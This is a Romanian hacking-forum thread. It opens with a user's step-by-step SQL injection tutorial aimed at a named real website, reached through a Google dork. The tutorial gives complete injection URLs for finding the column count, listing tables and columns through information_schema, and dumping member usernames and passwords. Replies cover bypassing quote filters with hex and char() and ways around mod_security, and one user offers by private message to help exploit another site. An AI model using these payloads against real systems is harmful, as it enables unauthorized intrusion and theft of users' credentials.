Jump to content
ZeroCold

[Tutorial] Sql injection 2

Recommended Posts

Posted (edited)

Tutorial SQL Injection

1.Ne alegem tinta:

Pentru a o gasi mai usor cautam pe google:

ext:php inurl:articole.php

Eu am ales arts.org.ro

Asa......intram la "Noutati" si alegem un articol de acolo, eu l-am ales pe primul.

Linkul arata asa:

http://arts.org.ro/pagini/noutati.php?art=59

2.Verificam daca siteul este vulnerabil:

Punem ‘ la sfarsitul linkului.

Linkul arata asa:

http://arts.org.ro/pagini/noutati.php?art=59’

Daca nu se intampla nimic inseamna ca nu este vulnerabil, daca primim eroare inseamna ca este vulnerabil. In cazul nostru am primit eroare, deci este vulnerabil:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Query was: SELECT * FROM noutati WHERE id=59'

3.Cautam numarul de coloane:

Folosim order by:

Prima data punem order by 1.

http://arts.org.ro/pagini/noutati.php?art=59+order+by+1

Nu primim eroare, inseamna ca are mai mult de o coloana

Punem order by 10

http://arts.org.ro/pagini/noutati.php?art=59+order+by+10

Apare eroarea, deci are mai putin de 10.

Punem order by 9, apoi order by 10, pana ne dispare eroarea, in cazul nostru eroarea a disparut la order by 7:

http://arts.org.ro/pagini/noutati.php?art=59+order+by+7

Inseamna ca are 7 coloane.

4.Cautam coloanele vulnerabile:

Tocmai am aflat ca are 7 coloane, acum cautam coloanele vulnerabile.

Punem union all select:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,2,3,4,5,6,7

Undeva pe pagina vor aparea coloanele vulnerabile, in cazul nostru au aparut coloanele 2,3 si 4.

5.Aflam versiunea MySQL:

Pentru a afla versiunea MySQL punem in loc de cifrele aparute anterior pe pagina, @@version:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,@@version,3,4,5,6,7

Versiunea este :

5.0.45-log

Observam ca a aparut in locul cifrei inlocuite.

Daca versiunea este mai mare sau egala cu 5 atunci putem folosi information_schema, daca nu atunci trebuie sa ghicim totul.

6.Cautam tabelul unde se afla username si password:

Punem table_name:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables

Putem cauta pe rand folosind limit:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+1,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+2,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+3,1

Si tot asa pana cand gasim tabelul dorit sau folosim group_concat:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28table_name%29,3,4,5,6,7+from+information_schema.tables

Folosind group_concat(table_name) primim toate tabelele separate prin virgula.

In cazul nostru tabelul este: “membri”

7.Cautam coloanele unde se afla parola si usernameul:

Dupa ce am gasit tabelul dorit (ceva de genu: admin, users, members..etc) cautam coloanele, ele trebuie ar trebui sa aiba nume precum: pw, password, pass, user,username…etc

La fel ca si tabelele, le putem cauta pe rand cu limit:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+2,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+3,1

si tot asa…sau putem folosi group_concat(column_name):

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28column_name%29,3,4,5,6,7+from+information_schema.columns

In cazul nostru coloanele sunt: username si password

8.Obtinem user si pass:

Putem vedea user si pass pe rand:

User:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,3,4,5,6,7+from+membri

Pass:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,password,3,4,5,6,7+from+membri

Daca avem doua sau mai multe coloane vulnerabile putem user pe una si pass pe alta:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,password,4,5,6,7+from+membri

Sau putem folosi “concat”:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,concat%28username,0x3a,password%29,3,4,5,6,7+from+membri

Cam atat, sper ca de data asta sa fie bun tutorialul…

Ps: Nu ma fac responsabil pentru daunele provocate de acest tutorial, este doar pentru scop informativ.

Edited by ZeroCold
Posted

"Aceea este versiunea siteului, este mai mare decat 5, deci putem folosi information_schema."

M-ai dezamagit. Site-ul rstcenter.com ce versiune e? AND NO! You can't ask waszilica =))

Guest Praetorian
Posted
Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale...

100% true..

Posted (edited)
Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale...

Parca tu ai stiut la inceput :|

Puteai sa spui si tu...ma, nu e bine acolo, fa asa.....da na ce sa faci....asta-i rst...so...shh ca ne luam warn/ban.

Acum sunt la inceput, e normal sa mai gresesc.

ps: facem pariu ca jumatate stiu ce face :D

Edited by ZeroCold
Guest Praetorian
Posted

Daca esti la inceput, de ce ai facut acest tutorial ?!

Asta a vrut sa spuna, cred..

Posted
Daca esti la inceput, de ce ai facut acest tutorial ?!

Asta a vrut sa spuna, cred..

Am facut acest tutorial pentru a invata, invat mai bine cand fac tutoriale si exersez de cat atunci cand tocesc.

Daca nu este bun, aruncatil la cos.

Posted
altfel cum sa ne laudam.

nu e vorba ca esti incepator, e vorba ca si cu alte notiuni cum ar fi filtrarea, etc nu te stii la ce folosesc!

Poi notiunea de filtrare...

Aici

from+information_schema.columns+where+table_name="membri"

...cum sa explic....filtreaza datele si le da doar pe acelea care se afla in tabelul membri..nu?

Guest Praetorian
Posted
from+information_schema.columns+where+table_name="membri"

lasa asta.. si daca nu sunt permise characterele ",' ce faci?

Guest Praetorian
Posted

merge si cu char(ascii) dar mai usor este cu hex [tot aceasi prostie]

Pariez ca ai cautat in tutoriale sa imi raspunzi, n-am dreptate?

Posted
merge si cu char(ascii) dar mai usor este cu hex [tot aceasi prostie]

Pariez ca ai cautat in tutoriale sa imi raspunzi, n-am dreptate?

scuze, dar nu ai dreptate, nu m-am uitat.poti sa crezi ce vrei

Posted

intrebare ca m-am izbit de o faza:

daca am dibuit numarul coloanelor dar serverul are mod_rewrite se pare, adica accepta "order by" "select" dar nu accepta "union" exista vreo posibilitate sa cetesc ceva din baza lor de date?

Posted

da, probabil mod_security... mi-a ramas in minte ceva dupa ce am vizitat cateva pagini pe google cautand problema asta. In afara de union mai exista vreo posibilitate de incercat?

Posted (edited)

Sunt incepator,dar am inteles tutorialul pe deplin,ceea ce nu inteleg de ce in cazul tau este "membri" +union+all+select+1,username,3,4,5,6,7+from+membri.Cum imi dau seama ce imi trebuie mie?

Edited by ieframe
Posted

sal baieti,am un site care imi da bataie de cap de la o bucata de timp.

Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu?

Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997"

Posted
sal baieti,am un site care imi da bataie de cap de la o bucata de timp.

Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu?

Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997"

Da-mi pm cu siteu sau punel aici :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...